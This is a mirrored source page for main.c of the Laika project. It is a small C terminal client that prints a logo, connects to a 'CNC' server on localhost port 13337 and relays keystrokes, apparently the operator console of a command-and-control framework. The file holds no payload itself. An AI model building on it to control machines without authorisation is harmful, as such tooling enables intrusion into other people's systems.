1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-23 05:10:09 +00:00
Laika/shell/src/main.c

42 lines
1.6 KiB
C
Raw Normal View History

#include <stdio.h>
#include "sclient.h"
#include "sterm.h"
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
const char *LOGO = "\n██╗ █████╗ ██╗██╗ ██╗ █████╗\n██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n██║ ███████║██║█████╔╝ ███████║\n██║ ██╔══██║██║██╔═██╗ ██╔══██║\n███████╗██║ ██║██║██║ ██╗██║ ██║\n╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
int main(int argv, char *argc[]) {
tShell_client client;
bool printPrompt = false;
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf("\t\t%s\n\n", " v"MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
shellC_init(&client);
shellC_connectToCNC(&client, "127.0.0.1", "13337");
shellT_conioTerm();
while(laikaS_isAlive((&client.peer->sock))) {
/* poll for 50ms */
if (!shellC_poll(&client, 50)) {
/* check if we have input! */
if (shellT_waitForInput(0))
shellT_addChar(&client, shellT_kbget());
/* no prompt shown? show it */
if (!printPrompt) {
printPrompt = true;
shellT_printPrompt();
}
} else {
printPrompt = false;
}
}
shellC_cleanup(&client);
return 0;
}